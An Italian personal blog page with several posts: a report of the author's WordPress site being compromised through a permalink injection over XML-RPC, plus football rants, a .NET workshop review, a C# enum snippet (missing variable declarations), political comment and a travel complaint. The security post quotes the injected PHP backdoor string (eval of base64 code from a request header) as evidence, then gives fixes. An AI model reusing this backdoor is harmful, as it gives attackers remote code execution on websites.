WordPress 2.3 MySql Injection via XMLRPC

Del tutto per sbaglio, mi sono reso conto solo oggi che il mio blog ha subito un attacco di tipo MySQL injection via XMLRPC. Non avendo accesso ai log di sistema, non posso capire a quando risalga questo attacco, credo comunque al più ricada negli ultimi 3 giorni.

Mi ha insospettito l’aver incollato il link al mio ultimo post nel mio status Facebook. Ho, infatti, notato che il link presentava, nella sua parte finale, la seguente stringa:

%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/

Cercando maggiori informazioni su Google, ho riscontrato che da ieri sono tantissimi i blog su piattaforma WordPress sotto attacco.

Tipo di Attacco: Non è ancora chiaro come funzioni, ma pare che varie versioni di WordPress siano attaccabili tramite questo exploit che consente agli utenti (non admin) di editare la struttura dei permalink del sito iniettando del codice PHP tramite una chiamata XML-RPC.

Soluzione: si deve modificare le opzioni della struttura dei propri permalink, dal pannello di controllo di wordpress ed, eventualmente, eliminare gli utenti admin registratisi (nel mio caso, però, non ho riscontrato la presenza di ulteriori admin).

Related Posts:

Inter-Barcellona, Balotelli: siete tutti figli di puttana

“siete tutti figli di puttana” – in risposta a tutti quegli interisti che lo fischiano al primo errore della sua partita.

Come si fa a fischiare l’unico italiano in campo?
Come si fa a non riuscire a godere nemmeno dell’aver vinto col Barcellona creando tutto questo trambusto?

I tifosi interisti, per l’ennesima volta, hanno perso la buona occasione di essere … tifosi

Related Posts:

Basta! Italia 2010

Venerdì sono stato al workshop “Principles & Patterns per .NET 4”, speaker Dino Esposito, ospitato da Basta! Italia 2010 (evento organizzato da dotnetcenter e Software & Support).

In generale è stato un gran bell’evento e la sola presenza di Dino Esposito giustifica il costo della sessione. Si è dimostrato una persona davvero molto disponibile; mi ha soprattutto colpito la disponibilità a testare codice attualmente sperimentale, sulla base delle domande poste dai partecipanti.

Forse ad essere iper critico, mi sarei aspettato un approfondimento maggiore su DI ed IOC nel pomeriggio, quando ha presentato il framework MEF in .NET4.

In definitiva, ne esco parecchio soddisfatto.

Related Posts:

  • Nessun post correlato

Inter Juve, Lazio Roma, Inter Barcellona

Ancora mi chiedo, a distanza di giorni, come possano aver consentito un’irregolarità del genere. Giocare Inter Juve due giorni prima del derby di Roma, quando Inter e Roma si contendono lo scudetto è sicuramente una scorrettezza (a favore dell’Inter).

Mi chiedo: ma non c’era una regola che le ultime N partite dovessero essere giocate tutte in contemporanea?

ps: visto che ci siamo, dovrebbero anche spiegarmi cosa cambia tra giocare il derby alle 20.45 e le 18.30

Related Posts:

c#: stringhe e valori enums

Ultimamente mi sono ritrovato a dover fronteggiare un problema che, in realtà, è abbastanza comune.
Immaginiamo di avere un’area generica (diciamo un div) all’interno del quale restituiamo all’utente un messaggio a seconda della specifica funzionalità che deve eseguire.

Nell’ottica del riutilizzo del codice, potrebbe essere utile cambiare il messaggio visualizzato a seconda del punto dal quale si giunge.

Per questa ragione mi son chiesto se esistesse un modo per poter associare ad un enums uno specifico valore stringa. L’enums è sicuramente utile per individuare il punto dal quale si proviene, ma da solo non è sufficientemente potente per fornire un feedback all’utente.

Mai re-inventare la ruota, quando google ti può dare una mano 🙂
Stefan Sedich fornisce un’ottima soluzione al mio problema.

1. Definire un nuovo attributo custom di classe;

public class StringValueAttribute : Attribute
{
	public string StringValue { get; set; }
 
	public StringValueAttribute(string value)
	{
		this.StringValue = value;
	}
}

2. Creare un extension method il cui obiettivo sarà quello di recuperare il valore stringa dell’attributo StringValue associato ai singoli enums;

public static class StringValueExtension
{
    public static string GetStringValue(this Enum value)
    {
        type = value.GetType();
        fieldInfo = type.GetField(value.ToString());
 
  	StringValueAttribute[] attribs = 
        fieldInfo.GetCustomAttributes(
	   typeof(StringValueAttribute), false) 
           as StringValueAttribute[];
 
	return attribs.Length > 0 ? attribs[0].StringValue : null;
    }
}

3. Creare un enums con associato un attributo StringValue.

public enum Test : int 
{
    [StringValue("a")]
    EnumsA = 1,
 
    [StringValue("b")]
    EnumsB = 2        
}

Related Posts:

Una vergogna per l’Italia

Frattini:

Il ministro degli Esteri italiano, Franco Frattini,”prega” che nessun italiano abbia direttamente o indirettamente compiuto “atti di questo genere”, “sarebbe una vergogna per Italia”

La Russa:

L’ambasciatore italiano li ha incontrati in carcere e ha detto di averli trovati in buone condizioni di salute. Devo desumere che non siano stati né picchiati né torturati. Poi la storia del complotto non sta in piedi. Se le autorità afghane avessero fatto un imbroglio contro Emergency ci saremmo arrabbiati, anche se l’orientamento politico di Emergency è noto a tutti. Quanti esponenti di sinistra abbiamo salvato negli scenari di guerra?

La vergogna è che due ministri della repubblica facciano ammissioni di questo tipo.

Related Posts:

EasyJet: Aeroporto Fiumicino – Aerporto Lamezia Terme

Questo weekend ho viaggiato con EasyJet sul volo Roma-Lamezia Terme.
La sintesi di questo viaggio è che il settore dei trasporti in italia è ridotto davvero male (non che in altri settori si stia meglio …).

Ho impiegato 8 ore in tutto da Roma per giungere fino a Reggio Calabria:

– metro Eur-Termini;
– treno Termini – Fiumicino (a proposito: complimentoni per aver aumentato il costo del biglietto a 14 euro);
– aereo Fiumicino – Lamezia Terme (1 ora e 45 minuti di ritardo);
Lamezia Terme – Reggio Calabria in auto

Sono due gli aspetti tristi di questo viaggio: da un lato i viaggiatori, dall’altro il sistema trasporti italia. I viaggiatori dimostrano come sempre di vivere nel dogma di possedere solo diritti e nessun dovere. Se esiste una regola che impone un solo bagaglio, non vedo perchè bisogna poi imbarcarne due a testa riducendosi a far ritardare il volo causa mancanza di posti per gli stessi all’interno della cabina (ed è successo sia all’andata che al ritorno).
In questo contesto, sicuramente gran parte delle colpe è da ricercare, a mio modesto parere, nelle società che gestiscono i due scali: si sa, in questo paese il cittadino medio non è educato al senso civico. Sta a loro il far rispettare le regole, non si capisce perchè non lo facciano.

Il secondo aspetto desolante è lo stato dei trasporti. Non parlerò dell’A3 perchè oramai il discorso è trito e ri-trito – solo chi ha avuto la sfortuna di passarci può davvero capire cosa voglia dire.

Una volta giunti all’aeroporto di Fiumicino, i passeggeri hanno 4 alternative (canoniche) per raggiungere la città:

– auto a noleggio (costosissima);
– pullman (costoso e non sempre disponibili);
– treni
– taxi (iper-costosissimo, anche il loro costo aumentato nell’ultimo periodo).

Ieri sera volevo prendere, come sempre, il treno per Tiburtina. Giungo alla stazione interna all’aeroporto di Fiumicino, mi trovo di fronte ad una situazione agghiacciante: tutte le biglietterie erano chiuse; per questa ragione c’era un tizio delle ferrovie che, da dietro un tavolino in cartone arrangiato alla bene meglio, scriveva su un bloc notes i vari biglietti (stile anni 50). In più, le macchine distributrici self-service, accettavano solo monete (ma avere 8 o 14 euro di monete non è proprio facile).

Vi lascio immaginare le file creatisi.

Tralascio che, giunto a Tiburtina, gli autobus non passavano (ma questo succede praticamente sempre), ma ancora più grave non c’erano nemmeno i taxi!

Questo paese è allo sfascio, ma non credo sia una novità

Related Posts: